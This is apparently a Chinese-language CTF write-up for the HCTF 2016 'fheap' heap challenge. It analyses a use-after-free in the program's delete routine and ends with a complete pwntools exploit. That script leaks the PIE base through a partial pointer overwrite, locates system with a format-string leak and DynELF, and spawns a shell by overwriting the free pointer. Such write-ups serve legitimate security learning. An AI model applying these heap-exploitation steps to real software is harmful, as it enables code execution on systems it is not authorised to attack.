HCTF 2016 fheap
一. 源碼
二. 題目分析
1. 程序的生成
假設我們的源碼文件名叫做
fheap.c
gcc fheap.c -pie -fpic -o fheap
strip fheap
其中
-fpic
是輔助-pie
, 沒有-fpic
將會編譯失敗.
strip
是去除符號表(Discard symbols from object files)
結論: 平常PWN文件都可以正常調試,可是題目給我們的文件是無法調試的,加大了難度。
2. 程序的運行
運行之後,三個選項:
- create string
- delete string
- quit
- 選擇
create string
, 輸入size, content.- 選擇
delete string
, 輸入id, 是否刪除.- 選擇
quit
, 退出程序.
結論: 這是程序運行的簡單介紹, 實際上就是一個字符串的管理程序。創建就是malloc
, 刪除free
.
3. 程序分析
結構體:
typedef struct String{
union {
char *buf; //輸入的字符串大小>16, 地址付給buf
char array[16]; //輸入的字符串大小<16, 存放在array中
} o;
int len;
void (*free)(struct String *ptr); //存放的free函數的地址, delete時使用
} String;
struct {
int inuse;
String *str;
} Strings[0x10];
1.
create string
- 字符串塊<16, 在原來的堆塊上存放輸入的字符串。
- 字符串塊>=16,
malloc
一個輸入的字符串大小size的空間, 將該空間地址存放在原來的堆塊中。
2.
delete string
關鍵代碼:
if (Strings[id].str) {
printf("Are you sure?:");
read(STDIN_FILENO,buf,0x100);
if(strncmp(buf,"yes",3)) {
return;
}
Strings[id].str->free(Strings[id].str);
Strings[id].inuse = 0;
}
存在double free
漏洞: fastbin
維護的chunk
大小從32~128字節, 假定我們執行一下過程.
create(4, 'aa') --> id = 0, 假定堆塊地址: 0x5010;
create(4, 'bb') --> id = 1, 假定堆塊地址: 0x5040
delete(1)
delete(0)
create(0x18, 'a' * 0x18) --> id = 0;
注意: 最後一次create(0x18, 'a' * 0x18 )
, malloc
兩個堆塊, 分別爲0x5010, 0x5040
, 其中0x5040
存放的是字符串內容. 0x5010
存放着0x5040
地址, 如下: .
0x5000: 0x0000000000000000 0x0000000000000031
0x5010: 0x0000000000005040 0x0000000000000000
0x5020: 0x0000000000000018 0x0000000000000d6c(freeShort)
0x5030: 0x0000000000000000 0x0000000000000031
0x5040: 0x6161616161616161 0x6161616161616161
0x5050: 0x6161616161616161 0x0000000000000d52(freeLong)
假如此時, 我們delete(1)
, 關鍵代碼中的Strings[1].str ==> 0x6161616161616161
, 爲真. 就會執行0x5058
的函數(freeLong
).
由此, 我們可以有這樣的設想: create(0x20, content)
, content
中的內容可以覆蓋1
中的freeLong
函數. delete(1)
, 就可以修改程序執行的流程.
4. 涉及的知識點:
fastbin
的設計是爲了快速的分配而準備的, 先進後出.
詳見: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/?spm=a313e.7916648.0.0.rJLhzh
4. 程序的調試
任何程序都不是一下子能寫成功, 需要調試, 如何調試?
from pwn import *
p = process('./fheap')
......
gdb.attach(p)
......
執行過程中會彈出一個
gdb
的調試窗口, 這個窗口只和你寫的Python
腳本進行交互, 我們在Python
腳本中寫入發送的數據即可.
三. 思路總結
保護檢查
總體思路: 泄露程序基地址, 找出system函數地址. 將free地址覆蓋爲system
, 輸入/bin/sh
, 釋放.
First Step : 泄露程序基地址
objdump -d fheap > fheap.txt
freeShort(offset): 0xd52
freeLong(offset): 0xd6c
d2d: e8 5e fc ff ff
callq 990 <puts@plt>
可以看出, 兩個free
函數與0xd2d
只相差一個字節, 於是我們可以將free
函數的最後一個字節修改爲0x2d
, 從而調用puts
函數, 將字符串和callq 990
這條指令的地址一塊打印出來, 然後減去0xd2d
, 就是整個程序加載的基地址.
泄露system函數地址
利用格式化字符串漏洞, 以及
pwntools
模塊的DynELF
來找出system
函數地址.
def leak(addr):
delete(0)
data = 'aa%9$s' + '#' * (0x18 - len('aa%9$s')) + p64(print_plt)
create(0x20, data)
p.recvuntil("quit")
p.send("delete ")
p.recvuntil("id:")
p.sendline(str(1))
p.recvuntil('sure?:')
p.send("yes0123" + p64(addr))
p.recvuntil('aa')
data = p.recvuntil("####")[:-4]
data += "\x00"
return data
最後一步
發送”/bin/sh”, 用system函數覆蓋free函數.
payload = '/bin/sh\x00' + '#' * (0x18 - len('/bin/sh\x00')) + p64(system_addr)
EXP
from pwn import *
from ctypes import *
DEBUG = 1
# context(log_level='debug')
# context.log_level = 'debug'
if DEBUG:
p = process('./fheap')
else:
r = remote('172.16.4.93', 13025)
print_plt=0
def create(size,content):
p.recvuntil("quit")
p.send("create ")
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil('str:')
p.send(content.ljust(size,'\x00'))
p.recvuntil('n')[:-1]
def delete(idx):
p.recvuntil("quit")
p.sendline("delete ")
p.recvuntil('id:')
p.send(str(idx)+'\n')
p.recvuntil('sure?:')
p.send('yes '+'\n')
def leak(addr):
delete(0)
data = 'aa%9$s' + '#'*(0x18 - len('aa%9$s')) + p64(print_plt)
create(0x20, data)
p.recvuntil("quit")
p.send("delete ")
p.recvuntil('id:')
p.send(str(1) + '\n')
p.recvuntil('sure?:')
p.send('yes01234' + p64(addr))
p.recvuntil('aa')
data = p.recvuntil('####')[:-4]
data += "\x00"
return data
def pwn():
global print_plt
create(4,'aa')
create(4,'bb')
create(4,'cc')
delete(2)
delete(1)
delete(0)
data='a' * 0x10 + 'b' * 0x8 + '\x2d' + '\x00'
create(0x20, data)
delete(1)
p.recvuntil('b' * 0x8)
data = p.recvline()[:-1]
if len(data) > 8:
data = data[:8]
data=u64(data.ljust(8,'\x00'))
proc_base = data - 0xd2d
print "proc base", hex(proc_base)
print_plt = proc_base + 0x9d0
print "print plt", hex(print_plt)
delete(0)
#part2
data='a' * 0x10 + 'b'*0x8 +'\x2D'+'\x00'
create(0x20, data)
gdb.attach(p)
delete(1)
p.recvuntil('b'*0x8)
data = p.recvline()[:-1]
# gdb.attach(p)
d = DynELF(leak, proc_base, elf=ELF('./fheap'))
system_addr = d.lookup('system', 'libc')
print "system_addr:", hex(system_addr)
#part3
delete(0)
data='/bin/sh;' + '#' * (0x18 - len('/bin/sh;')) + p64(system_addr)
create(0x20, data)
delete(1)
p.interactive()
if __name__ == '__main__':
pwn()
心得
這是我第一次接觸堆方面的題, 說實話這個過程實在很苦.
- 網上找的相關文章, 水平參差不齊, EXP基本不能成功的GetShell.
- 調試方面的鍋, 不能直接調試.
- 堆方面的知識太少, 還得練.
最後, 與君共勉, 加油!!!
相關鏈接:
- 逆向安全系列:Use After Free漏洞淺析 (EXP有效)
- fast-bin內存機制的利用探究 (調試新方法, 針對地址隨機化)
- hctf2016 fheap學習(FreeBuf發表的官方解法) (知識點較全)
- HCTF開源Github
- 相關文件下載